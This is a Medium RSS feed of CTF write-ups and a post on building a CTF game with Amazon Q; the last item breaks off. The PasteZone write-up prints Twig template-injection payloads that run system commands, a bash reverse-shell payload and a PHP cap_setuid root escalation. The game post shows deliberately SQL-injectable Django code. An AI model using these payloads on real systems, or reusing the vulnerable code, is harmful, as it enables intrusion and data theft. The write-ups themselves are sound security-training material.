<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 0xAmanita on Medium]]></title>
        <description><![CDATA[Stories by 0xAmanita on Medium]]></description>
        <link>https://medium.com/@0xamanita?source=rss-ad6fa1908516------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*DbAX0nTWofu203CF9KHKBA.jpeg</url>
            <title>Stories by 0xAmanita on Medium</title>
            <link>https://medium.com/@0xamanita?source=rss-ad6fa1908516------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 04:24:23 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@0xamanita/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Hackviser PasteZone Writeup]]></title>
            <link>https://0xamanita.medium.com/hackviser-pastezone-f1d9f527a5d7?source=rss-ad6fa1908516------2</link>
            <guid isPermaLink="false">https://medium.com/p/f1d9f527a5d7</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[twig]]></category>
            <category><![CDATA[ssti]]></category>
            <dc:creator><![CDATA[0xAmanita]]></dc:creator>
            <pubDate>Sun, 22 Nov 2026 05:45:23 GMT</pubDate>
            <atom:updated>2026-11-22T05:50:05.124Z</atom:updated>
            <content:encoded><![CDATA[<p>Category: Web</p><h3>Setting up Hosts File</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*sOWFoslcdpEU6dLxtA2cvw.png" /></figure><pre>sudo vim /etc/hosts</pre><h3>What is the contact email address of the user who published the energy.gov.hv post?</h3><p>Search the energy.gov.ph:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pq_MsUMob1KLLIokwYr03w.png" /></figure><p>Scroll down and we can find the email address of the user who published the energy.gov.hv post</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xv6g0P2Tj-zrYYFqPrKsLg.png" /></figure><h3>What is the IP address of the attacker who posted the energy.gov.hv data?</h3><p>Let’s do dirsearch first:</p><pre>dirsearch -u http://pastezone.hv</pre><p>The 200 looks interesting:</p><blockquote>HTTP 200 indicates that the requested resource is accessible. In directory enumeration, this is interesting because it may expose files containing useful information about the application’s configuration and dependencies.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*wVx_J1ABMLZZr6DPSdpZWA.png" /></figure><p>Let’s visit composer.json:</p><blockquote>The composer.json file defines the PHP application&#39;s dependencies and required packages. Inspecting it helps us identify the frameworks and libraries used by the application, which may reveal potential attack vectors.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6ozWx4eUZ6JuiCAUsg08eQ.png" /></figure><p>Now we know it is running twig.</p><p>Let’s look at the composer.lock:</p><p>Here we can see the exact version of the twig and can confirm it has twig:</p><p>The composer.lock file contains the exact versions of the installed dependencies. Here, we identify twig/twig version 3.21.1, confirming that the application uses the Twig templating engine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*Okym6URnuK_LpDJZGqPrEg.png" /></figure><p>Since it has twig, we can then conclude that we can do template injection.</p><p>Twig is a PHP templating engine that allows developers to generate dynamic HTML content using template expressions and logic.</p><blockquote>SSTI occurs when user-controlled input is processed as an actual template instead of plain text. If Twig evaluates our input without proper restrictions, we may be able to inject expressions and potentially execute server-side code.</blockquote><p>Let’s try creating a paste:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4wrJx65ln7iION-ge0AXMQ.png" /></figure><pre>{{ 7*7 }}</pre><p>It shows 49:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cg2OhLTBxXfbNcbOXmF68w.png" /></figure><p>Since {{ 7*7 }} returns 49, we confirm that Twig evaluates our input. We can further exploit this behavior using Twig&#39;s filter functionality with PHP&#39;s system callable to execute operating system commands on the server.</p><p>List items in the current directory:</p><pre>{{ [&#39;ls -la&#39;] | filter(&#39;system&#39;) }}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OBIbZMAv6IX-gFHkGAAGSg.png" /></figure><p>The database directory looks interesting. Let&#39;s take a look at it:</p><pre>{{ [&#39;ls -la database&#39;] | filter(&#39;system&#39;) }}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XTcX22Y9JYmfWvYqw1cV3A.png" /></figure><pre>{{ [&#39;cat database/pastezone.db&#39;] | filter(&#39;system&#39;) }}</pre><p>It shows us the database contents:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8UCYPmiEDtwIYuAfCDNhmw.png" /></figure><p>Now, its time to search for answers.</p><p>IP: <strong>185.173.35.5</strong></p><h3>What are the “email:password” details for the PasteZone platform administrator’s GitHub account?</h3><p>A reverse shell establishes a connection from the target machine back to our attacking machine. By setting up a listener and executing the payload, we obtain an interactive shell on the compromised server.</p><p>Reverse Shell Payload:</p><pre>{{ [&quot;bash -c &#39;bash -i &gt;&amp; /dev/tcp/YOUR_FUCKING_IP/YOUR_FUCKIN_PORT 0&gt;&amp;1&#39;&quot;] | map(&quot;system&quot;) | join }}</pre><p>And then execute this command:</p><p>This command searches the filesystem for SUID executables. These files run with their owner’s privileges, potentially exposing opportunities for privilege escalation.</p><pre>find / -perm -u=s -type f 2&gt;/dev/null</pre><p>Most of the results are not much of help. Let’s proceed to using getcap.</p><p>Execute this:</p><p>This command searches for files with assigned Linux capabilities. Certain capabilities may allow executables to perform privileged operations, potentially providing another privilege escalation path.</p><pre>getcap -r / 2&gt;/dev/null </pre><p>We got:</p><pre>/usr/bin/php8.4 cap_setuid=ep<br>/usr/bin/ping cap_net_raw=ep</pre><ul><li>/usr/bin/php8.4 cap_setuid=ep – Allows PHP to change process user IDs, potentially enabling privilege escalation to root using posix_setuid(0).</li><li>/usr/bin/ping cap_net_raw=ep – Allows Ping to create raw network sockets for sending and receiving ICMP packets without requiring full root privileges.</li></ul><p>Let’s try the command below:</p><blockquote>This command uses PHP’s posix_setuid() function to change the process UID to 0 (root), then spawns a Bash shell. It works if the PHP executable has sufficient privileges to perform the UID change.</blockquote><pre>/usr/bin/php8.4 -r &quot;posix_setuid(0); system(&#39;/bin/bash&#39;);&quot;</pre><p>We are now root and we can now read the contents of `github.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/369/1*1VlMhnA0O3iHfdabX2S_kQ.png" /></figure><h3>What is the phone number of the person managing the PasteZone infrastructure?</h3><p>Along with github.txt, there is a backup.py, let us view its contents:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/662/1*9ner4qBldFm1EfjyeLzOgg.png" /></figure><p>There we go, phone number found!</p><p>We successfully exploited a Server-Side Template Injection (SSTI) vulnerability in PasteZone, which allowed us to execute system commands and obtain a reverse shell. Through further enumeration, we discovered a misconfigured PHP Linux capability (cap_setuid), which enabled us to escalate our privileges to root. This challenge highlights the importance of properly handling user input, securing application dependencies, and configuring Linux capabilities appropriately.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f1d9f527a5d7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hackviser: Black-Train Writeup]]></title>
            <link>https://0xamanita.medium.com/hackviser-black-train-writeup-1e042b7093d4?source=rss-ad6fa1908516------2</link>
            <guid isPermaLink="false">https://medium.com/p/1e042b7093d4</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hackviser]]></category>
            <category><![CDATA[web-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[0xAmanita]]></dc:creator>
            <pubDate>Sun, 15 Nov 2026 14:34:50 GMT</pubDate>
            <atom:updated>2026-11-15T14:35:16.621Z</atom:updated>
            <content:encoded><![CDATA[<p>Difficulty: Easy | Category: Web</p><p>Before interacting with the target machine, we start our VPN and map the target domain name to its assigned IP address in our /etc/hosts file:</p><p>Configure the /etc/hosts:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*8Z1Cl6MudVsFBcCAW66Gsw.png" /></figure><p>commands:</p><pre>sudo vim /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K2Ura9xe9iHFH96Vz7FmpQ.png" /></figure><h3>What is the departure time of the train?</h3><p>Navigating to <a href="http://velnorwick.hv/">http://velnorwick.hv</a> in our browser loads the Velnorwick Railway portal for “The Black Train” event. Checking the event schedule under the <strong>“The Evening”</strong> tab answers our first challenge question:</p><ul><li><strong>Question:</strong> What is the departure time of the train?</li></ul><p>Reviewing the itinerary timeline shows that gates open at 18:00, dining seating begins at 19:30, and the final departure is fixed at <strong>23:45</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kieY2dR2ZOEZLA4pUyfxwA.png" /></figure><p>So, it’s 23:45 obviously!</p><h3>What is the full name of the guest who reserved the Nevermore mask?</h3><p>To discover hidden directories, endpoints, or administrative interfaces on the web server, we run ffuf using a standard directory wordlist:</p><pre>ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \<br>-u http://velnorwick.hv/FUZZ</pre><p>Here, /mail, /assets, and /img pop out. Hitting <a href="http://velnorwick.hv/mail/">http://velnorwick.hv/mail/</a> drops us straight into <strong>Mailpit</strong>. Snooping around the inbox gives us a bunch of internal staff chatter about mask inventories, briefings, and shift schedules.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vC7foAc-asoba5rf6HzklQ.png" /></figure><p>Mail:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E04b9fwT8-dLBGm2SJnFqA.png" /></figure><p>One of the emails mentions an <strong>Operations Console</strong> (/rail-ops-console).</p><p>Let’s try to visit this endpoint:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rLYJdF_kGc6yLUDQcypKXA.png" /></figure><p>We do not have a password for any account so let us try to find a way using the forgot password:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LzAZ_4E7HC3CxOTzb3pEfw.png" /></figure><p>As we are currently staff, we can try <a href="/service/mailto:staff@velnorwick.hv">staff@velnorwick.hv</a></p><p>However, we do not have a response for that.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/1*8TbleP_OtK7jqP7u11IZvg.png" /></figure><p>Use DevTools Network Tab to view the resources in the current request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sK27Vr8ae1K25_6rQxubDw.png" /></figure><p>Looking at the loaded JavaScript chunks, staffing-DqMpIb9s.js looks super interesting. Unminifying or just inspecting it reveals an internal API fetch call:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rCPoYhH6x9Y8YTGsR5ECDg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*0G_5_P1lkC1J77MoId1chQ.png" /></figure><p>Boom! We now have a bunch of staff data here, and we even got the admin account email:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*TgmpLBVXz4BryAtBN4fBRg.png" /></figure><p>Let’s try to use the admin email to the mail platform earlier since the staff email did not work…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vyUDRdjghleHTU4l1s4X8Q.png" /></figure><p>Wohoo! We got password reset!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UCkjHTLpNaVTB8KdPTKKtQ.png" /></figure><p>Now, set a new password and go to the admin console.</p><p>Let’s go to the mask inventory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vcEHeP2e9m6gQm5QoKY1gw.png" /></figure><p>Wohoo! We now have the answer. It’s Desmond Marlow who reserved the Nevermore mask.</p><h3>What is the dining table number reserved for the guest with the Nevermore mask?</h3><p>From the previous screenshot, we already have the Table number reserved for Desmond Marlow who reserved the Nevermore mask.</p><p>Table Number: T12HW</p><h3>Approve Oliver Reed’s application. What is the generated invitation code?</h3><p>From the Applications, search Oliver Reed for faster finding the item:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zkN-kTcswsi7YWGe0Iupnw.png" /></figure><p>And then click “Approve”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h1XRrCnDLwbR0IS0DOozMg.png" /></figure><p>Status is now approved, and we now have the invitation code.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1e042b7093d4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building “Izanami: The Endless Loop” — A CTF Game with Amazon Q]]></title>
            <link>https://0xamanita.medium.com/building-izanami-the-endless-loop-a-ctf-game-with-amazon-q-08c9b860c0b3?source=rss-ad6fa1908516------2</link>
            <guid isPermaLink="false">https://medium.com/p/08c9b860c0b3</guid>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[amazon-q]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[0xAmanita]]></dc:creator>
            <pubDate>Mon, 16 Jun 2025 09:35:11 GMT</pubDate>
            <atom:updated>2025-06-16T09:35:11.758Z</atom:updated>
            <content:encoded><![CDATA[<h3>Building “Izanami: The Endless Loop” — A CTF Game with Amazon Q</h3><p>GitHub Repository: <a href="https://github.com/0xshr00msz/Izanami-CTF">https://github.com/0xshr00msz/Izanami-CTF</a></p><p>As a cybersecurity enthusiast and anime fan, I recently embarked on an exciting journey to create a Capture The Flag (CTF) game inspired by Naruto Shippuden. With the help of Amazon Q, I was able to build “Izanami: The Endless Loop” — a web-based CTF platform focused on teaching web security concepts through an engaging narrative. In this blog post, I’ll share my experience, the techniques I used, and how AI assistance transformed my development process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lKxCMlJyplrahKLaFKzDhg.png" /></figure><h3>The Game Concept and Why I Chose It</h3><p>“Izanami: The Endless Loop” draws inspiration from Itachi’s Sharingan Izanami technique in Naruto Shippuden — a powerful genjutsu that traps opponents in an infinite loop of events until they acknowledge their true selves. This concept perfectly aligns with the nature of CTF challenges, where players must break out of conventional thinking patterns to find solutions.</p><p>I chose to build a CTF game because:</p><ol><li>Educational Value: CTFs are excellent tools for learning cybersecurity concepts in a hands-on way</li><li>Community Engagement: Security-focused games create opportunities for collaboration and friendly competition</li><li>Creative Expression: The Naruto theme allowed me to blend my passion for anime with technical content</li><li>Skill Development: Building a CTF platform challenged me to understand both offensive and defensive security techniques</li></ol><p>The game features multiple difficulty levels (Academy, Chunin, Jōnin, and Uchiha), a chakra-based attempt system, and challenges covering 15 different web vulnerability categories — from SQL injection to prototype pollution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8G1QdCSRkKCvThgFDkPCAg.png" /></figure><h3>Effective Prompting Techniques I Discovered</h3><p>Working with Amazon Q taught me several valuable prompting techniques that dramatically improved the quality of AI-generated code:</p><h3>1. Context-Setting Preambles</h3><p>Starting with a clear explanation of the project context yielded much better results:</p><p>I’m building a CTF game called “Izanami” with Django. The game has challenges of different difficulty levels (Academy, Chunin, Jōnin, Uchiha). I need a model for…</p><h3>2. Incremental Development</h3><p>Breaking down complex features into smaller, sequential requests produced more coherent code:</p><p>First, help me create the Challenge model with basic fields. Now, let’s add the difficulty levels and categories. Finally, let’s implement the flag submission logic.</p><h3>3. Providing Examples</h3><p>When I needed code that matched my existing style, providing examples was extremely effective:</p><p>Here’s how I’ve implemented the user profile model: [code example] Now, create a similar model for tracking challenge attempts.</p><h3>4. Specifying Technical Requirements</h3><p>Being explicit about technical requirements helped avoid back-and-forth iterations:</p><p>Create a WebSocket consumer for the challenge chat feature using Django Channels. It should handle user authentication and prevent XSS in messages except for specific XSS challenges.</p><h3>How AI Handled Classic Programming Challenges</h3><p>Amazon Q impressed me with its ability to handle several classic programming challenges:</p><h3>Database Relationships and ORM</h3><p>Creating complex Django models with proper relationships was handled exceptionally well:</p><pre>class Challenge(models.Model):<br>	title = models.CharField(max_length=100)<br>	description = models.TextField()<br>	category = models.ForeignKey(ChallengeCategory, on_delete=models.CASCADE)<br>	difficulty = models.ForeignKey(DifficultyLevel, on_delete=models.CASCADE)<br>	points = models.IntegerField()<br>	flag = models.CharField(max_length=100)<br>	is_active = models.BooleanField(default=True)<br>	created_at = models.DateTimeField(auto_now_add=True)<br>	updated_at = models.DateTimeField(auto_now=True)<br>	requires_authentication = models.BooleanField(default=True)<br>	chakra_cost = models.IntegerField(default=5)<br>	hint_available = models.BooleanField(default=False)<br>	<br>	# Challenge type flags<br>	has_xss = models.BooleanField(default=False)<br>	has_sqli = models.BooleanField(default=False)<br>	has_csrf = models.BooleanField(default=False)<br>	# ... more vulnerability type flags</pre><h3>Authentication and Authorization</h3><p>The AI generated a robust permission system that restricted access to higher difficulty levels based on progress:</p><pre>@login_required<br>def chunin_challenges(request):<br>	&quot;&quot;&quot;Chunin level challenges.&quot;&quot;&quot;<br>	# Check if user has completed Academy level<br>	academy_level = DifficultyLevel.objects.get(name=&#39;Academy&#39;)<br>	academy_challenges = Challenge.objects.filter(difficulty=academy_level, is_active=True)<br>	academy_solved = ChallengeSolve.objects.filter(<br>	user=request.user,<br>	challenge__in=academy_challenges<br>	).count()<br>	<br>	# If user hasn&#39;t solved at least 70% of Academy challenges, redirect<br>	if academy_solved &lt; (academy_challenges.count() * 0.7):<br>	    return render(request, &#39;challenges/locked.html&#39;, {&#39;level&#39;: &#39;Chunin&#39;})<br>	<br>	# ... rest of the view</pre><h3>WebSocket Implementation</h3><p>Amazon Q handled the complex WebSocket implementation for real-time challenges with surprising elegance:</p><pre>class ChallengeChatConsumer(AsyncWebsocketConsumer):<br>	async def connect(self):<br>		self.challenge_id = self.scope[&#39;url_route&#39;][&#39;kwargs&#39;][&#39;challenge_id&#39;]<br>		self.room_group_name = f&#39;challenge_{self.challenge_id}&#39;<br>		<br>		# Join room group<br>		    await self.channel_layer.group_add(<br>		        self.room_group_name,<br>		        self.channel_name<br>		    )<br>		<br>		    await self.accept()<br>		<br>	# ... more WebSocket methods</pre><h3>Development Automation That Saved Time</h3><p>Amazon Q dramatically accelerated my development process through several automation techniques:</p><h3>1. Template Generation</h3><p>Instead of manually creating HTML templates for each challenge type, Amazon Q generated them all with consistent styling and proper form handling:</p><pre>&lt;div class=&quot;flag-submission&quot;&gt;<br>	&lt;h5&gt;&lt;i class=&quot;fas fa-flag text-danger&quot;&gt;&lt;/i&gt; Submit Flag&lt;/h5&gt;<br>	{% if not solved %}<br>	&lt;form id=&quot;flag-form&quot; data-challenge-id=&quot;{{ [challenge.id](&lt;http://challenge.id/&gt;) }}&quot; data-solved=&quot;{{ solved|yesno:&#39;true,false&#39; }}&quot;&gt;<br>		{% csrf_token %}<br>		&lt;div class=&quot;input-group&quot;&gt;<br>			&lt;input type=&quot;text&quot; id=&quot;flag-input&quot; class=&quot;form-control&quot; placeholder=&quot;Enter flag here...&quot;&gt;<br>			&lt;button class=&quot;btn btn-danger&quot; type=&quot;submit&quot;&gt;Submit&lt;/button&gt;<br>		&lt;/div&gt;<br>		&lt;small class=&quot;text-muted mt-2 d-block&quot;&gt;<br>		&lt;i class=&quot;fas fa-fire text-primary&quot;&gt;&lt;/i&gt; Chakra cost: {{ challenge.chakra_cost }}<br>		&lt;/small&gt;<br>	&lt;/form&gt;<br>	{% else %}<br>	&lt;div class=&quot;alert alert-success&quot;&gt;<br>		&lt;i class=&quot;fas fa-check-circle me-2&quot;&gt;&lt;/i&gt; You have already solved this challenge!<br>	&lt;/div&gt;<br>	{% endif %}<br>	&lt;div id=&quot;flag-message&quot; class=&quot;mt-3&quot;&gt;&lt;/div&gt;<br>&lt;/div&gt;</pre><h3>2. Initial Data Fixtures</h3><p>Creating initial data for challenges, categories, and difficulty levels would have been tedious, but Amazon Q generated comprehensive JSON fixtures:</p><pre>[<br>	{<br>		&quot;model&quot;: &quot;challenges.difficultylevel&quot;,<br>		&quot;pk&quot;: 1,<br>		&quot;fields&quot;: {<br>		&quot;name&quot;: &quot;Academy&quot;,<br>		&quot;description&quot;: &quot;Beginner-level challenges designed to introduce you to basic web vulnerabilities.&quot;,<br>		&quot;order&quot;: 1<br>		}<br>	},<br>	// ... many more fixture entries<br>]</pre><h3>3. Management Commands</h3><p>Amazon Q created custom Django management commands that automated setup tasks:</p><pre>class Command(BaseCommand):<br>	help = &#39;Sets up challenge categories and difficulty levels&#39;<br>	<br>	def handle(self, *args, **options):<br>	    self.stdout.write(&#39;Setting up difficulty levels...&#39;)<br>	    self._setup_difficulty_levels()<br>	<br>	    self.stdout.write(&#39;Setting up challenge categories...&#39;)<br>	    self._setup_challenge_categories()<br>	<br>	    # ... more setup methods</pre><h3>4. Comprehensive Documentation</h3><p>Perhaps most impressively, Amazon Q generated detailed documentation that would have taken hours to write manually, including project structure, API endpoints, and setup instructions.</p><h3>Interesting AI-Generated Solutions</h3><p>Some of the most creative solutions Amazon Q provided included:</p><h3>1. Deliberately Vulnerable Code</h3><p>For the CTF challenges, I needed code that was intentionally vulnerable but in a controlled way. Amazon Q created elegant solutions like this SQL injection vulnerability:</p><pre>@csrf_exempt<br>def user_data_api(request):<br>	&quot;&quot;&quot;API endpoint vulnerable to SQL injection.&quot;&quot;&quot;<br>	if request.method == &#39;GET&#39;:<br>	username = request.GET.get(&#39;username&#39;, &#39;&#39;)<br>	<br>	# Deliberately vulnerable to SQL injection<br>	    with connection.cursor() as cursor:<br>	        cursor.execute(f&quot;SELECT id, username, email FROM auth_user WHERE username = &#39;{username}&#39;&quot;)<br>	        result = cursor.fetchone()<br>	<br>	    if result:<br>	        return JsonResponse({<br>	            &#39;id&#39;: result[0],<br>	            &#39;username&#39;: result[1],<br>	            &#39;email&#39;: result[2]<br>	        })<br>	    else:<br>	        return JsonResponse({&#39;error&#39;: &#39;User not found&#39;}, status=404)</pre><h3>2. Flag Submission System with Restrictions</h3><p>When I needed to prevent users from submitting flags to already solved challenges, Amazon Q generated this elegant solution:</p><pre>@login_required<br>def submit_flag(request, challenge_id):<br>	&quot;&quot;&quot;Submit a flag for a challenge.&quot;&quot;&quot;<br>	if request.method != &#39;POST&#39;:<br>		return JsonResponse({&#39;error&#39;: &#39;Method not allowed&#39;}, status=405)<br>		<br>	challenge = get_object_or_404(Challenge, pk=challenge_id, is_active=True)<br>	submitted_flag = request.POST.get(&#39;flag&#39;, &#39;&#39;).strip()<br>	<br>	# Check if the user has already solved this challenge<br>	if ChallengeSolve.objects.filter(user=request.user, challenge=challenge).exists():<br>	    return JsonResponse({<br>	        &#39;success&#39;: False,<br>	        &#39;message&#39;: &#39;You have already solved this challenge!&#39;<br>	    })<br>	<br>	# ... rest of the submission logic</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*do8tFYT4Jqo7ec197lLm2g.png" /></figure><h3>3. Chakra Regeneration System</h3><p>The time-based chakra regeneration system was particularly clever:</p><pre>function startChakraRegeneration() {<br>	// Regenerate chakra every 60 seconds<br>	chakraRegenInterval = setInterval(function() {<br>		$.ajax({<br>			url: &#39;/accounts/regenerate_chakra/&#39;,<br>			type: &#39;POST&#39;,<br>			data: {<br>				&#39;csrfmiddlewaretoken&#39;: getCsrfToken()<br>			},<br>			success: function(data) {<br>				updateChakraMeter(data.chakra);<br>			}<br>		});<br>	}, 60000);<br>}</pre><h3>Conclusion</h3><p>Building “Izanami: The Endless Loop” with Amazon Q was an eye-opening experience that transformed how I approach software development. The AI not only accelerated routine coding tasks but also contributed creative solutions to complex problems.</p><p>The most valuable lesson I learned is that effective AI collaboration isn’t about replacing human creativity — it’s about enhancing it. By providing clear context, breaking down complex problems, and iteratively refining AI-generated code, I was able to build a sophisticated CTF platform that would have taken significantly longer without AI assistance.</p><p>Whether you’re building educational games, web applications, or any other software project, I highly recommend exploring how AI tools like Amazon Q can enhance your development workflow. The key is finding the right balance between human creativity and AI efficiency.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=08c9b860c0b3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — Hackfinity Cloud Challenge #1: Cloud Sanity Check Writeup]]></title>
            <link>https://0xamanita.medium.com/tryhackme-hackfinity-cloud-challenge-1-cloud-sanity-check-writeup-16c73448ee79?source=rss-ad6fa1908516------2</link>
            <guid isPermaLink="false">https://medium.com/p/16c73448ee79</guid>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[aws]]></category>
            <dc:creator><![CDATA[0xAmanita]]></dc:creator>
            <pubDate>Sun, 30 Mar 2025 11:14:26 GMT</pubDate>
            <atom:updated>2025-03-30T13:08:41.573Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe — Hackfinity Cloud Challenge #1: Cloud Sanity Check Writeup</h3><h3>How and actually how?</h3><p>TryHackMe CTF: <a href="https://tryhackme.com/room/HackfinityBattle">https://tryhackme.com/room/HackfinityBattle</a></p><p>The goal of this challenge is to identify and exploit misconfigurations in AWS services to retrieve a hidden flag. Use the credentials below to access the resources.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YQE0AtAuW3C1_4yXxUmQRQ.png" /></figure><h3>Listing AWS IAM Users</h3><p>I began by attempting to enumerate available AWS resources using the provided credentials. My initial focus was on listing IAM users, S3 buckets, and Lambda functions to identify potential avenues for privilege escalation or data retrieval.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*TDHzh_NbFpWwn0t00AG4Bw.png" /></figure><pre>aws iam list-users</pre><p>After executing the command, I got an error (AccessDenied). It says there that I don’t have the permission to list IAM users. No Identity-based policy allows the iam:ListUsers action. Since listing IAM users was restricted, I pivoted to enumerating other services that might reveal sensitive information.</p><p>Same thing happened when I checked the services I’m allowed to interact with using the command below:</p><pre>aws service-quotas list-services</pre><p>This gives me an idea of what’s available, which could help me figure out where to look for possible vulnerabilities or misconfigurations. But, <strong><em>unfortunately</em></strong>, still no luck at all.</p><h3>Checking AWS S3</h3><p>Since I don’t have permissions to list IAM users, I now wanted to check S3 buckets if there are publicly available bucket to exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/659/1*Kz2hh1VNtqAFGEidQFImSw.png" /></figure><pre>aws s3 ls</pre><p>Still, with no luck, I got an error (AccessDenied). This is because I do not have the permission to list S3 buckets. The user does not have an identity-based policy that allows the s3:ListAllMyBuckets action. After encountering a permission error, I decided to check for Lambda functions that might be accessible.</p><h3>Listing Lambda Functions</h3><p>Attempted to list lambda functions, but yeah, I do not have permissions for this.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*c_s5VllgTJSeYXeRRHXBhw.png" /></figure><h3>AWS Secrets Manager</h3><p>As I was browsing what are the Key AWS Services, I found an interesting service called SercretsManager. I read its documentation and thought this service might have the flag I am looking for. Using the command below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*JciUBVynWYrYwboFyGwsMA.png" /></figure><pre>aws secretsmanager list-secrets</pre><p>And there we go!!! I finally found the flag. Easy Peasy Lemon Squeezy</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*HiO79FVE8P4MoROi0sVfWg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=16c73448ee79" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe — Hackfinity Writeup Cloud Challenge “A Bucket of Phish”]]></title>
            <link>https://0xamanita.medium.com/tryhackme-hackfinity-writeup-cloud-challenge-a-bucket-of-phish-b6c731553702?source=rss-ad6fa1908516------2</link>
            <guid isPermaLink="false">https://medium.com/p/b6c731553702</guid>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[0xAmanita]]></dc:creator>
            <pubDate>Sat, 29 Mar 2025 16:26:24 GMT</pubDate>
            <atom:updated>2025-03-30T13:10:44.226Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe — Hackfinity Cloud Challenge “A Bucket of Phish” Writeup</h3><h3>How easy is it to get the h4tdog from unsecured s3 bucket?</h3><p>TryHackMe CTF: <a href="https://tryhackme.com/room/HackfinityBattle">https://tryhackme.com/room/HackfinityBattle</a></p><p>The goal of this challenge was to retrieve a flag by exploiting a misconfigured Amazon S3 bucket that allowed unauthorized access. Misconfigured S3 buckets are a common vulnerability where improper access policies can expose sensitive information to attackers.</p><p>When presented with AWS CLI credentials, my immediate approach was to assess the level of access granted. Since S3 buckets were involved, I focused on listing the available buckets and their contents.</p><h3>Here’s your credentials for the AWS CLI:</h3><p>TryHackMe provided these credentials. If you want to participate or try, just simply head on to TryHackMe website and join the room Hackfinity Battle Encore .</p><p><strong>Access Key:</strong> AKIAUxxxxxxxxxxxxxxx</p><p><strong>Secret Access Key:</strong> ppFrxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx</p><p><strong>AWS Region:</strong> us-west-2</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nZPg-p_4JzIaruJk2RdZ7w.png" 